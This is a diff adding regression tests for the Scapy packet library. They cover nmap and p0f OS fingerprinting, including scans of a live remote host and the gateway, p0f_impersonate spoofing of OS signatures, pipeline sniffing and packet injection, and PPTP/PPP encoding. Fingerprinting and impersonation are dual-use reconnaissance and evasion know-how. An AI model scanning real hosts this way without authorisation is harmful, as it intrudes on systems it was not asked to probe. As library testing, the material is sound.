+        break
+    except:
+        pass
+
+conf.nmap_base = 'nmap-os-fingerprints'
+
+= Database loading
+assert len(nmap_kdb.get_base()) > 100
+
+= fingerprint test: www.secdev.org
+~ netaccess
+score, fprint = nmap_fp('www.secdev.org')
+print(score, fprint)
+assert score > 0.5
+assert fprint
+
+= fingerprint test: gateway
+~ netaccess
+score, fprint = nmap_fp(conf.route.route('0.0.0.0')[2])
+print(score, fprint)
+assert score > 0.5
+assert fprint
+
+= fingerprint test: to text
+~  netaccess
+
+import re as re_
+
+a = nmap_sig("www.secdev.org", 80, 81)
+a
+for x in nmap_sig2txt(a).split("\n"):
+    assert re_.match(r"\w{2,4}\(.*\)", x)
+
+= nmap_udppacket_sig test: www.google.com
+~ netaccess
+
+a = nmap_sig("www.google.com", ucport=80)
+assert len(a) > 3
+assert len(a["PU"]) > 0
+
++ Nmap errors triggering
+
+= Nmap base not available
+
+nmap_kdb.filename = "invalid"
+nmap_kdb.reload()
+assert nmap_kdb.filename == None
+
+= Clear temp files
+try:
+    os.remove('nmap-os-fingerprints')
+except:
+    pass
+
diff --git a/test/p0f.uts b/test/p0f.uts
new file mode 100644
index 0000000..5753bb3
--- /dev/null
+++ b/test/p0f.uts
@@ -0,0 +1,118 @@
+% Tests for Scapy's p0f module.
+
+~ p0f
+
+
+############
+############
++ Basic p0f module tests
+
+= Module loading
+load_module('p0f')
+
+= Fetch database
+from __future__ import print_function
+try:
+    from urllib.request import urlopen
+except ImportError:
+    from urllib2 import urlopen
+
+def _load_database(file):
+    for i in range(10):
+        try:
+            open(file, 'wb').write(urlopen('https://raw.githubusercontent.com/p0f/p0f/4b4d1f384abebbb9b1b25b8f3c6df5ad7ab365f7/' + file).read())
+            break
+        except:
+            raise
+            pass
+
+_load_database("p0f.fp")
+conf.p0f_base = "p0f.fp"
+_load_database("p0fa.fp")
+conf.p0fa_base = "p0fa.fp"
+_load_database("p0fr.fp")
+conf.p0fr_base = "p0fr.fp"
+_load_database("p0fo.fp")
+conf.p0fo_base = "p0fo.fp"
+
+p0f_load_knowledgebases()
+
+############
+############
++ Default tests
+
+= Test p0f
+
+pkt = Ether(b'\x14\x0cv\x8f\xfe(\xd0P\x99V\xdd\xf9\x08\x00E\x00\x0045+@\x00\x80\x06\x00\x00\xc0\xa8\x00w(M\xe2\xf9\xda\xcb\x01\xbbcc\xdd\x1e\x00\x00\x00\x00\x80\x02\xfa\xf0\xcc\x8c\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x08\x01\x01\x04\x02')
+
+assert p0f(pkt) == [('@Windows', 'XP/2000 (RFC1323+, w+, tstamp-)', 0)]
+
+= Test prnp0f
+
+with ContextManagerCaptureOutput() as cmco:
+    prnp0f(pkt)
+    assert cmco.get_output() == '192.168.0.119:56011 - @Windows XP/2000 (RFC1323+, w+, tstamp-)\n  -> 40.77.226.249:https (S) (distance 0)\n'
+
+############
+############
++ Tests for p0f_impersonate
+
+# XXX: a lot of pieces of p0f_impersonate don't have tests yet.
+
+= Impersonate when window size must be multiple of some integer
+sig = ('%467', 64, 1, 60, 'M*,W*', '.', 'Phony Sys', '1.0')
+pkt = p0f_impersonate(IP()/TCP(), signature=sig)
+assert pkt.payload.window % 467 == 0
+
+= Handle unusual flags ("F") quirk
+sig = ('1024', 64, 0, 60, 'W*', 'F', 'Phony Sys', '1.0')
+pkt = p0f_impersonate(IP()/TCP(), signature=sig)
+assert (pkt.payload.flags & 40) in (8, 32, 40)
+
+= Use valid option values from original packet
+sig = ('S4', 64, 1, 60, 'M*,W*,T', '.', 'Phony Sys', '1.0')
+opts = [('MSS', 1400), ('WScale', 3), ('Timestamp', (97256, 0))]
+pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)
+assert pkt.payload.options == opts
+
+= Use valid option values when multiples required
+sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0')
+opts = [('MSS', 37*15), ('WScale', 19*12)]
+pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)
+assert pkt.payload.options == opts
+
+= Discard non-multiple option values when multiples required
+sig = ('S4', 64, 1, 60, 'M%37,W%19', '.', 'Phony Sys', '1.0')
+opts = [('MSS', 37*15 + 1), ('WScale', 19*12 + 1)]
+pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)
+assert pkt.payload.options[0][1] % 37 == 0
+assert pkt.payload.options[1][1] % 19 == 0
+
+= Discard bad timestamp values
+sig = ('S4', 64, 1, 60, 'M*,T', '.', 'Phony Sys', '1.0')
+opts = [('Timestamp', (0, 1000))]
+pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)
+# since option is "T" and not "T0":
+assert pkt.payload.options[1][1][0] > 0
+# since T quirk is not present:
+assert pkt.payload.options[1][1][1] == 0
+
+= Discard 2nd timestamp of 0 if "T" quirk is present
+sig = ('S4', 64, 1, 60, 'M*,T', 'T', 'Phony Sys', '1.0')
+opts = [('Timestamp', (54321, 0))]
+pkt = p0f_impersonate(IP()/TCP(options=opts), signature=sig)
+assert pkt.payload.options[1][1][1] > 0
+
++ Clear temp files
+
+= Remove fp files
+def _rem(f):
+    try:
+        os.remove(f)
+    except:
+        pass
+
+_rem("p0f.fp")
+_rem("p0fa.fp")
+_rem("p0fr.fp")
+_rem("p0fo.fp")
\ No newline at end of file
diff --git a/test/pipetool.uts b/test/pipetool.uts
new file mode 100644
index 0000000..fb2996f
--- /dev/null
+++ b/test/pipetool.uts
@@ -0,0 +1,584 @@
+########################
+% Pipetool related tests
+########################
+
++ Basic tests
+
+= Test default test case
+
+s = PeriodicSource("hello", 1, name="src")
+d1 = Drain(name="d1")
+c = ConsoleSink(name="c")
+tf = TransformDrain(lambda x: "Got %s" % x)
+t = TermSink(name="PipeToolsPeriodicTest", keepterm=False)
+s > d1 > c
+d1 > tf > t
+
+p = PipeEngine(s)
+p.start()
+time.sleep(3)
+s.msg = []
+p.stop()
+
+try:
+    os.remove("test.png")
+except OSError:
+    pass
+
+= Test add_pipe
+
+s = AutoSource()
+p = PipeEngine(s)
+p.add(Pipe())
+assert len(p.active_pipes) == 2
+
+x = p.spawn_Pipe()
+assert len(p.active_pipes) == 3
+assert isinstance(x, Pipe)
+
+= Test exhausted source
+
+s = AutoSource()
+s._gen_data("hello")
+s.is_exhausted = True
+d1 = Drain(name="d1")
+c = ConsoleSink(name="c")
+s > d1 > c
+
+p = PipeEngine(s)
+p.start()
+p.wait_and_stop()
+
+= Test add_pipe on running instance
+
+p = PipeEngine()
+p.start()
+
+s = CLIFeeder()
+
+d1 = Drain(name="d1")
+c = QueueSink(name="c")
+s > d1 > c
+
+p.add(s)
+
+s.send("hello")
+s.send("hi")
+
+assert c.q.get(timeout=5) == "hello"
+assert c.q.get(timeout=5) == "hi"
+
+p.stop()
+
+= Test Operators
+
+s = AutoSource()
+p = PipeEngine(s)
+assert p == p
+
+a = AutoSource()
+b = AutoSource()
+a >> b
+assert len(a.high_sinks) == 1
+assert len(a.high_sources) == 0
+assert len(b.high_sinks) == 0
+assert len(b.high_sources) == 1
+a
+b
+
+a = AutoSource()
+b = AutoSource()
+a << b
+assert len(a.high_sinks) == 0
+assert len(a.high_sources) == 1
+assert len(b.high_sinks) == 1
+assert len(b.high_sources) == 0
+a
+b
+
+a = AutoSource()
+b = AutoSource()
+a == b
+assert len(a.sinks) == 1
+assert len(a.sources) == 1
+assert len(b.sinks) == 1
+assert len(b.sources) == 1
+
+a = AutoSource()
+b = AutoSource()
+a//b
+assert len(a.high_sinks) == 1
+assert len(a.high_sources) == 1
+assert len(b.high_sinks) == 1
+assert len(b.high_sources) == 1
+
+a = AutoSource()
+b = AutoSource()
+a^b
+assert len(b.trigger_sources) == 1
+assert len(a.trigger_sinks) == 1
+
+= Test doc
+
+s = AutoSource()
+p = PipeEngine(s)
+p.list_pipes()
+p.list_pipes_detailed()
+
+= Test RawConsoleSink with CLIFeeder
+
+p = PipeEngine()
+
+s = CLIFeeder()
+s.send("hello")
+s.is_exhausted = True
+
+r, w = os.pipe()
+
+d1 = Drain(name="d1")
+c = RawConsoleSink(name="c")
+c._write_pipe = w
+s > d1 > c
+
+p.add(s)
+p.start()
+
+assert os.read(r, 20) == b"hello\n"
+p.wait_and_stop()
+
+= Test QueueSink with CLIFeeder
+
+p = PipeEngine()
+
+s = CLIFeeder()
+s.send("hello")
+s.is_exhausted = True
+
+d1 = Drain(name="d1")
+c = QueueSink(name="c")
+s > d1 > c
+
+p.add(s)
+p.start()
+
+p.wait_and_stop()
+assert c.recv() == "hello"
+
+= Test UpDrain
+
+test_val = None
+
+class TestSink(Sink):
+    def high_push(self, msg):
+        global test_val
+        test_val = msg
+
+p = PipeEngine()
+
+s = CLIFeeder()
+s.send("hello")
+s.is_exhausted = True
+
+d1 = UpDrain(name="d1")
+c = TestSink(name="c")
+s > d1
+d1 >> c
+
+p.add(s)
+p.start()
+
+p.wait_and_stop()
+assert test_val == "hello"
+
+= Test DownDrain
+
+test_val = None
+
+class TestSink(Sink):
+    def push(self, msg):
+        global test_val
+        test_val = msg
+
+p = PipeEngine()
+
+s = CLIHighFeeder()
+s.send("hello")
+s.is_exhausted = True
+
+d1 = DownDrain(name="d1")
+c = TestSink(name="c")
+s >> d1
+d1 > c
+
+p.add(s)
+p.start()
+
+p.wait_and_stop()
+assert test_val == "hello"
+
++ Advanced ScapyPipes pipetools tests
+
+= Test SniffSource
+~ netaccess
+
+p = PipeEngine()
+
+s = SniffSource()
+d1 = Drain(name="d1")
+c = QueueSink(name="c")
+s > d1 > c
+
+p.add(s)
+p.start()
+sniff(count=3)
+p.stop()
+assert c.q.get()
+
+= Test exhausted AutoSource and SniffSource
+
+import mock
+from scapy.error import Scapy_Exception
+
+def _fail():
+    raise Scapy_Exception()
+
+a = AutoSource()
+a._send = mock.MagicMock(side_effect=_fail)
+a._wake_up()
+try:
+    a.deliver()
+except:
+    pass
+
+s = SniffSource()
+s.s = mock.MagicMock()
+s.s.recv = mock.MagicMock(side_effect=_fail)
+try:
+    s.deliver()
+except:
+    pass
+
+= Test RdpcapSource and WrpcapSink
+~ needs_root
+
+req = Ether()/IP()/ICMP()
+rpy = Ether()/IP('E\x00\x00\x1c\x00\x00\x00\x004\x01\x1d\x04\xd8:\xd0\x83\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+
+wrpcap("t.pcap", [req, rpy])
+
+p = PipeEngine()
+
+s = RdpcapSource("t.pcap")
+d1 = Drain(name="d1")
+c = WrpcapSink("t2.pcap", name="c")
+s > d1 > c
+p.add(s)
+p.start()
+p.wait_and_stop()
+
+results = rdpcap("t2.pcap")
+
+assert raw(results[0]) == raw(req)
+assert raw(results[1]) == raw(rpy)
+
+os.unlink("t.pcap")
+os.unlink("t2.pcap")
+
+= Test InjectSink and Inject3Sink
+~ needs_root
+
+import mock
+
+a = IP(dst="192.168.0.1")/ICMP()
+msgs = []
+
+class FakeSocket(object):
+    def __init__(self, *arg, **karg):
+        pass
+    def close(self):
+        pass
+    def send(self, msg):
+        global msgs
+        msgs.append(msg)
+
+@mock.patch("scapy.scapypipes.conf.L2socket", FakeSocket)
+@mock.patch("scapy.scapypipes.conf.L3socket", FakeSocket)
+def _inject_sink(i3):
+    s = CLIFeeder()
+    s.send(a)
+    s.is_exhausted = True
+    d1 = Drain(name="d1")
+    c = Inject3Sink() if i3 else InjectSink()
+    s > d1 > c
+    p = PipeEngine(s)
+    p.start()
+    p.wait_and_stop()
+
+_inject_sink(False) # InjectSink
+_inject_sink(True) # Inject3Sink
+
+assert msgs == [a,a]
+
+= TriggerDrain and TriggeredValve with CLIFeeder
+
+s = CLIFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredValve()
+c = QueueSink()
+
+s > d1 > d2 > c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("hello")
+s.send("trigger")
+s.send("hello2")
+s.send("trigger")
+s.send("hello3")
+
+assert c.q.get(timeout=5) == "hello"
+assert c.q.get(timeout=5) == "trigger"
+assert c.q.get(timeout=5) == "hello3"
+
+p.stop()
+
+= TriggerDrain and TriggeredValve with CLIHighFeeder
+
+s = CLIHighFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredValve()
+c = QueueSink()
+
+s >> d1
+d1 >> d2
+d2 >> c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("hello")
+s.send("trigger")
+s.send("hello2")
+s.send("trigger")
+s.send("hello3")
+
+assert c.q.get(timeout=5) == "hello"
+assert c.q.get(timeout=5) == "trigger"
+assert c.q.get(timeout=5) == "hello3"
+
+p.stop()
+
+= TriggerDrain and TriggeredQueueingValve with CLIFeeder
+
+s = CLIFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredValve()
+c = QueueSink()
+
+s > d1 > d2 > c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("hello")
+s.send("trigger")
+s.send("hello2")
+s.send("trigger")
+s.send("hello3")
+
+assert c.q.get(timeout=5) == "hello"
+assert c.q.get(timeout=5) == "trigger"
+assert c.q.get(timeout=5) == "hello3"
+
+p.stop()
+
+= TriggerDrain and TriggeredSwitch with CLIFeeder on high channel
+
+s = CLIFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredSwitch()
+c = QueueSink()
+
+s > d1 > d2
+d2 >> c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("hello")
+s.send("trigger")
+s.send("hello2")
+s.send("trigger")
+s.send("hello3")
+
+assert c.q.get(timeout=5) == "trigger"
+assert c.q.get(timeout=5) == "hello2"
+
+p.stop()
+
+= TriggerDrain and TriggeredSwitch with CLIHighFeeder on low channel
+
+s = CLIHighFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredSwitch()
+c = QueueSink()
+
+s >> d1
+d1 >> d2
+d2 > c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("hello")
+s.send("trigger")
+s.send("hello2")
+s.send("trigger")
+s.send("hello3")
+
+assert c.q.get(timeout=5) == "hello"
+assert c.q.get(timeout=5) == "trigger"
+assert c.q.get(timeout=5) == "hello3"
+
+p.stop()
+
+= TriggerDrain and TriggeredMessage
+
+s = CLIFeeder()
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredMessage("hello")
+c = QueueSink()
+
+s > d1 > d2 > c
+d1 ^ d2
+
+p = PipeEngine(s)
+p.start()
+
+s.send("trigger")
+
+r = [c.q.get(timeout=5), c.q.get(timeout=5)]
+assert "hello" in r
+assert "trigger" in r
+
+p.stop()
+
+= TriggerDrain and TriggeredQueueingValve on low channel
+
+p = PipeEngine()
+
+s = CLIFeeder()
+r, w = os.pipe()
+
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredQueueingValve()
+c = QueueSink(name="c")
+s > d1 > d2 > c
+d1 ^ d2
+
+p.add(s)
+p.start()
+
+s.send("trigger")
+s.send("hello")
+s.send("trigger")
+assert c.q.get(timeout=3) == "trigger"
+assert c.q.get(timeout=3) in ['hello', 'trigger']
+assert c.q.get(timeout=3) in ['hello', 'trigger']
+assert d2.q.qsize() == 0
+
+p.stop()
+
+= TriggerDrain and TriggeredQueueingValve on high channel
+
+p = PipeEngine()
+
+s = CLIHighFeeder()
+r, w = os.pipe()
+
+d1 = TriggerDrain(lambda x:x=="trigger")
+d2 = TriggeredQueueingValve()
+c = QueueSink(name="c")
+s >> d1 >> d2 >> c
+d1 ^ d2
+
+p.add(s)
+p.start()
+
+s.send("trigger")
+s.send("hello")
+s.send("trigger")
+assert c.q.get(timeout=3) == "trigger"
+assert c.q.get(timeout=3) == "hello"
+assert d2.q.qsize() == 0
+
+p.stop()
+
+= UDPDrain
+
+p = PipeEngine()
+
+s = CLIFeeder()
+s2 = CLIHighFeeder()
+d1 = UDPDrain()
+c = QueueSink()
+
+s > d1 > c
+s2 >> d1 >> c
+
+p.add(s)
+p.add(s2)
+p.start()
+
+s.send(IP(src="127.0.0.1")/UDP()/DNS())
+s2.send(DNS())
+
+res = [c.q.get(timeout=2), c.q.get(timeout=2)]
+assert b'\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00' in res
+res.remove(b'\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+assert DNS in res[0] and res[0][UDP].sport == 1234
+
+p.stop()
+
+= FDSourceSink on a Bunch object
+
+class Bunch:
+    __init__ = lambda self, **kw: setattr(self, '__dict__', kw)
+
+fd = Bunch(write=lambda x: None, read=lambda: "hello", fileno=lambda: None)
+
+s = FDSourceSink(fd)
+d = Drain()
+c = QueueSink()
+s > d > c
+
+assert s.fileno() == None
+s.push("data")
+s.deliver()
+assert c.q.get(timeout=1) == "hello"
+
+= TCPConnectPipe networking test
+~ networking needs_root
+
+p = PipeEngine()
+
+s = CLIFeeder()
+d1 = TCPConnectPipe(addr="www.google.fr", port=80)
+c = QueueSink()
+
+s > d1 > c
+
+p.add(s)
+p.start()
+
+s.send(b"GET http://www.google.fr/search?q=scapy&start=1&num=1\n")
+result = c.q.get(timeout=10)
+p.stop()
+
+assert result.startswith(b"HTTP/1.0 200 OK")
diff --git a/test/pptp.uts b/test/pptp.uts
new file mode 100644
index 0000000..6509df4
--- /dev/null
+++ b/test/pptp.uts
@@ -0,0 +1,818 @@
+##############################
+% PPTP Related regression tests
+##############################
+
++ GRE Tests
+
+= Test IP/GRE v0 decoding
+~ gre ip
+
+data = hex_bytes('45c00064000f0000ff2f1647c0a80c01c0a8170300000800')
+pkt = IP(data)
+assert GRE in pkt
+gre = pkt[GRE]
+assert gre.chksum_present == 0
+assert gre.routing_present == 0
+assert gre.key_present == 0
+assert gre.seqnum_present == 0
+assert gre.strict_route_source == 0
+assert gre.recursion_control == 0
+assert gre.flags == 0
+assert gre.version == 0
+assert gre.proto == 0x800
+
+= Test IP/GRE v1 decoding with PPP LCP
+~ gre ip pptp ppp lcp
+
+data = hex_bytes('4500003c18324000402f0e5a0a0000020a0000063001880b001c9bf500000000ff03'\
+       'c021010100180206000000000304c2270506fbb8831007020802')
+pkt = IP(data)
+assert GRE_PPTP in pkt
+gre_pptp = pkt[GRE_PPTP]
+assert gre_pptp.chksum_present == 0
+assert gre_pptp.routing_present == 0
+assert gre_pptp.key_present == 1
+assert gre_pptp.seqnum_present == 1
+assert gre_pptp.strict_route_source == 0
+assert gre_pptp.recursion_control == 0
+assert gre_pptp.acknum_present == 0
+assert gre_pptp.flags == 0
+assert gre_pptp.version == 1
+assert gre_pptp.proto == 0x880b
+assert gre_pptp.payload_len == 28
+assert gre_pptp.call_id == 39925
+assert gre_pptp.seqence_number == 0x0
+
+assert HDLC in pkt
+assert PPP in pkt
+assert PPP_LCP_Configure in pkt
+
+= Test IP/GRE v1 encoding/decoding with PPP LCP Echo
+~ gre ip pptp ppp hdlc lcp lcp_echo
+
+pkt = IP(src='192.168.0.1', dst='192.168.0.2') /\
+      GRE_PPTP(seqnum_present=1, acknum_present=1, seqence_number=47, ack_number=42) /\
+      HDLC() / PPP() / PPP_LCP_Echo(id=42, magic_number=4242, data='abcdef')
+pkt_data = raw(pkt)
+pkt_data_ref = hex_bytes('4500003600010000402ff944c0a80001c0a800023081880b001200000000002f000000'\
+                         '2aff03c021092a000e00001092616263646566')
+assert (pkt_data == pkt_data_ref)
+pkt_decoded = IP(pkt_data_ref)
+assert IP in pkt
+assert GRE_PPTP in pkt
+assert HDLC in pkt
+assert PPP in pkt
+assert PPP_LCP_Echo in pkt
+
+assert pkt[IP].proto == 47
+assert pkt[GRE_PPTP].chksum_present == 0
+assert pkt[GRE_PPTP].routing_present == 0
+assert pkt[GRE_PPTP].key_present == 1
+assert pkt[GRE_PPTP].seqnum_present == 1
+assert pkt[GRE_PPTP].acknum_present == 1
+assert pkt[GRE_PPTP].seqence_number == 47
+assert pkt[GRE_PPTP].ack_number == 42
+assert pkt[PPP].proto == 0xc021
+assert pkt[PPP_LCP_Echo].code == 9
+assert pkt[PPP_LCP_Echo].id == 42
+assert pkt[PPP_LCP_Echo].magic_number == 4242
+assert pkt[PPP_LCP_Echo].data == b'abcdef'
+
++ PPP LCP Tests
+= Test LCP Echo Request / Reply
+~ ppp lcp lcp_echo
+
+lcp_echo_request_data = hex_bytes('c021090700080000002a')
+lcp_echo_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=7, magic_number=77, data='defgh'))
+
+lcp_echo_request_pkt = PPP(lcp_echo_request_data)
+lcp_echo_reply_pkt = PPP(lcp_echo_reply_data)
+
+assert lcp_echo_reply_pkt.answers(lcp_echo_request_pkt)
+assert not lcp_echo_request_pkt.answers(lcp_echo_reply_pkt)
+
+lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=3, magic_number=77))
+lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data)
+
+assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt)
+
+lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(id=7, magic_number=42))
+lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data)
+
+assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt)
+
+= Test LCP Configure Request
+~ ppp lcp lcp_configure magic_number
+
+conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)])
+conf_req_ref_data = hex_bytes('c021012a000a050600001092')
+
+assert raw(conf_req) == conf_req_ref_data
+
+conf_req_pkt = PPP(conf_req_ref_data)
+
+assert PPP_LCP_Configure in conf_req_pkt
+assert conf_req_pkt[PPP_LCP_Configure].code == 1
+assert conf_req_pkt[PPP_LCP_Configure].id == 42
+assert len(conf_req_pkt[PPP_LCP_Configure].options) == 1
+assert isinstance(conf_req_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option)
+assert conf_req_pkt[PPP_LCP_Configure].options[0].magic_number == 4242
+
+= Test LCP Configure Ack
+~ ppp lcp lcp_configure lcp_configure_ack
+
+conf_ack = PPP() / PPP_LCP_Configure(code='Configure-Ack', id=42,
+                                     options=[PPP_LCP_Magic_Number_Option(magic_number=4242)])
+conf_ack_ref_data = hex_bytes('c021022a000a050600001092')
+
+assert (raw(conf_ack) == conf_ack_ref_data)
+
+conf_ack_pkt = PPP(conf_ack_ref_data)
+
+assert PPP_LCP_Configure in conf_ack_pkt
+assert conf_ack_pkt[PPP_LCP_Configure].code == 2
+assert conf_ack_pkt[PPP_LCP_Configure].id == 42
+assert len(conf_ack_pkt[PPP_LCP_Configure].options) == 1
+assert isinstance(conf_ack_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option)
+assert conf_ack_pkt[PPP_LCP_Configure].options[0].magic_number == 4242
+
+conf_req_pkt = PPP(hex_bytes('c021012a000a050600001092'))
+
+assert conf_ack_pkt.answers(conf_req_pkt)
+assert not conf_req_pkt.answers(conf_ack_pkt)
+
+= Test LCP Configure Nak
+~ ppp lcp lcp_configure lcp_configure_nak lcp_mru_option lcp_accm_option
+
+conf_nak = PPP() / PPP_LCP_Configure(code='Configure-Nak', id=42,
+                                     options=[PPP_LCP_MRU_Option(), PPP_LCP_ACCM_Option(accm=0xffff0000)])
+conf_nak_ref_data = hex_bytes('c021032a000e010405dc0206ffff0000')
+
+assert(raw(conf_nak) == conf_nak_ref_data)
+
+conf_nak_pkt = PPP(conf_nak_ref_data)
+
+assert PPP_LCP_Configure in conf_nak_pkt
+assert conf_nak_pkt[PPP_LCP_Configure].code == 3
+assert conf_nak_pkt[PPP_LCP_Configure].id == 42
+assert len(conf_nak_pkt[PPP_LCP_Configure].options) == 2
+assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[0], PPP_LCP_MRU_Option)
+assert conf_nak_pkt[PPP_LCP_Configure].options[0].max_recv_unit == 1500
+assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[1], PPP_LCP_ACCM_Option)
+assert conf_nak_pkt[PPP_LCP_Configure].options[1].accm == 0xffff0000
+
+conf_req_pkt = PPP(hex_bytes('c021012a000e010405dc0206ffff0000'))
+
+assert conf_nak_pkt.answers(conf_req_pkt)
+assert not conf_req_pkt.answers(conf_nak_pkt)
+
+= Test LCP Configure Reject
+~ ppp lcp lcp_configure lcp_configure_reject
+
+conf_reject = PPP() / PPP_LCP_Configure(code='Configure-Reject', id=42,
+                                        options=[PPP_LCP_Callback_Option(operation='Location identifier',
+                                                                         message='test')])
+conf_reject_ref_data = hex_bytes('c021042a000b0d070274657374')
+
+assert(raw(conf_reject) == conf_reject_ref_data)
+
+conf_reject_pkt = PPP(conf_reject_ref_data)
+
+assert PPP_LCP_Configure in conf_reject_pkt
+assert conf_reject_pkt[PPP_LCP_Configure].code == 4
+assert conf_reject_pkt[PPP_LCP_Configure].id == 42
+assert len(conf_reject_pkt[PPP_LCP_Configure].options) == 1
+assert isinstance(conf_reject_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Callback_Option)
+assert conf_reject_pkt[PPP_LCP_Configure].options[0].operation == 2
+assert conf_reject_pkt[PPP_LCP_Configure].options[0].message == b'test'
+
+conf_req_pkt = PPP(hex_bytes('c021012a000b0d070274657374'))
+
+assert conf_reject_pkt.answers(conf_req_pkt)
+assert not conf_req_pkt.answers(conf_reject_pkt)
+
+= Test LCP Configure options
+~ ppp lcp lcp_configure
+
+conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_MRU_Option(max_recv_unit=5000),
+                                                     PPP_LCP_ACCM_Option(accm=0xf0f0f0f0),
+                                                     PPP_LCP_Auth_Protocol_Option(),
+                                                     PPP_LCP_Quality_Protocol_Option(data='test'),
+                                                     PPP_LCP_Magic_Number_Option(magic_number=4242),
+                                                     PPP_LCP_Callback_Option(operation='Distinguished name',message='test')])
+conf_req_ref_data = hex_bytes('c021012a0027010413880206f0f0f0f00304c0230408c025746573740506000010920d070474657374')
+
+assert(raw(conf_req) == conf_req_ref_data)
+
+conf_req_pkt = PPP(conf_req_ref_data)
+
+assert PPP_LCP_Configure in conf_req_pkt
+options = conf_req_pkt[PPP_LCP_Configure].options
+assert len(options) == 6
+assert isinstance(options[0], PPP_LCP_MRU_Option)
+assert options[0].max_recv_unit == 5000
+assert isinstance(options[1], PPP_LCP_ACCM_Option)
+assert options[1].accm == 0xf0f0f0f0
+assert isinstance(options[2], PPP_LCP_Auth_Protocol_Option)
+assert options[2].auth_protocol == 0xc023
+assert isinstance(options[3], PPP_LCP_Quality_Protocol_Option)
+assert options[3].quality_protocol == 0xc025
+assert options[3].data == b'test'
+assert isinstance(options[4], PPP_LCP_Magic_Number_Option)
+assert options[4].magic_number == 4242
+assert isinstance(options[5], PPP_LCP_Callback_Option)
+assert options[5].operation == 4
+assert options[5].message == b'test'
+
+= Test LCP Auth option
+~ ppp lcp lcp_configure
+
+pap = PPP_LCP_Auth_Protocol_Option()
+pap_ref_data = hex_bytes('0304c023')
+
+assert(raw(pap) == pap_ref_data)
+
+pap_pkt = PPP_LCP_Option(pap_ref_data)
+assert isinstance(pap_pkt, PPP_LCP_Auth_Protocol_Option)
+assert pap_pkt.auth_protocol == 0xc023
+
+chap_sha1 = PPP_LCP_Auth_Protocol_Option(auth_protocol='Challenge-response authentication protocol', algorithm="SHA1")
+chap_sha1_ref_data = hex_bytes('0305c22306')
+
+assert raw(chap_sha1) == chap_sha1_ref_data
+
+chap_sha1_pkt = PPP_LCP_Option(chap_sha1_ref_data)
+assert isinstance(chap_sha1_pkt, PPP_LCP_Auth_Protocol_Option)
+assert chap_sha1_pkt.auth_protocol == 0xc223
+assert chap_sha1_pkt.algorithm == 6
+
+eap = PPP_LCP_Auth_Protocol_Option(auth_protocol='PPP Extensible authentication protocol', data='test')
+eap_ref_data = hex_bytes('0308c22774657374')
+
+assert raw(eap) == eap_ref_data
+
+eap_pkt = PPP_LCP_Option(eap_ref_data)
+assert isinstance(eap_pkt, PPP_LCP_Auth_Protocol_Option)
+assert eap_pkt.auth_protocol == 0xc227
+assert eap_pkt.data == b'test'
+
+= Test LCP Code-Reject
+~ ppp lcp lcp_code_reject
+
+code_reject = PPP() / PPP_LCP_Code_Reject(id=42, rejected_packet=PPP_LCP(code=42, id=7, data='unknown_data'))
+code_reject_ref_data = hex_bytes('c021072a00142a070010756e6b6e6f776e5f64617461')
+
+assert raw(code_reject) == code_reject_ref_data
+
+code_reject_pkt = PPP(code_reject_ref_data)
+assert PPP_LCP_Code_Reject in code_reject_pkt
+assert code_reject_pkt[PPP_LCP_Code_Reject].id == 42
+assert isinstance(code_reject_pkt[PPP_LCP_Code_Reject].rejected_packet, PPP_LCP)
+assert code_reject[PPP_LCP_Code_Reject].rejected_packet.code == 42
+assert code_reject[PPP_LCP_Code_Reject].rejected_packet.id == 7
+assert code_reject[PPP_LCP_Code_Reject].rejected_packet.data == b'unknown_data'
+
+= Test LCP Protocol-Reject
+~ ppp lcp lcp_protocol_reject
+
+protocol_reject = PPP() / PPP_LCP_Protocol_Reject(id=42, rejected_protocol=0x8039,
+                                                  rejected_information=Packet(hex_bytes('0305c22306')))
+protocol_reject_ref_data = hex_bytes('c021082a000b80390305c22306')
+
+assert raw(protocol_reject) == protocol_reject_ref_data
+
+protocol_reject_pkt = PPP(protocol_reject_ref_data)
+assert PPP_LCP_Protocol_Reject in protocol_reject_pkt
+assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].id == 42
+assert protocol_reject_pkt[PPP_LCP_Protocol_Reject].rejected_protocol == 0x8039
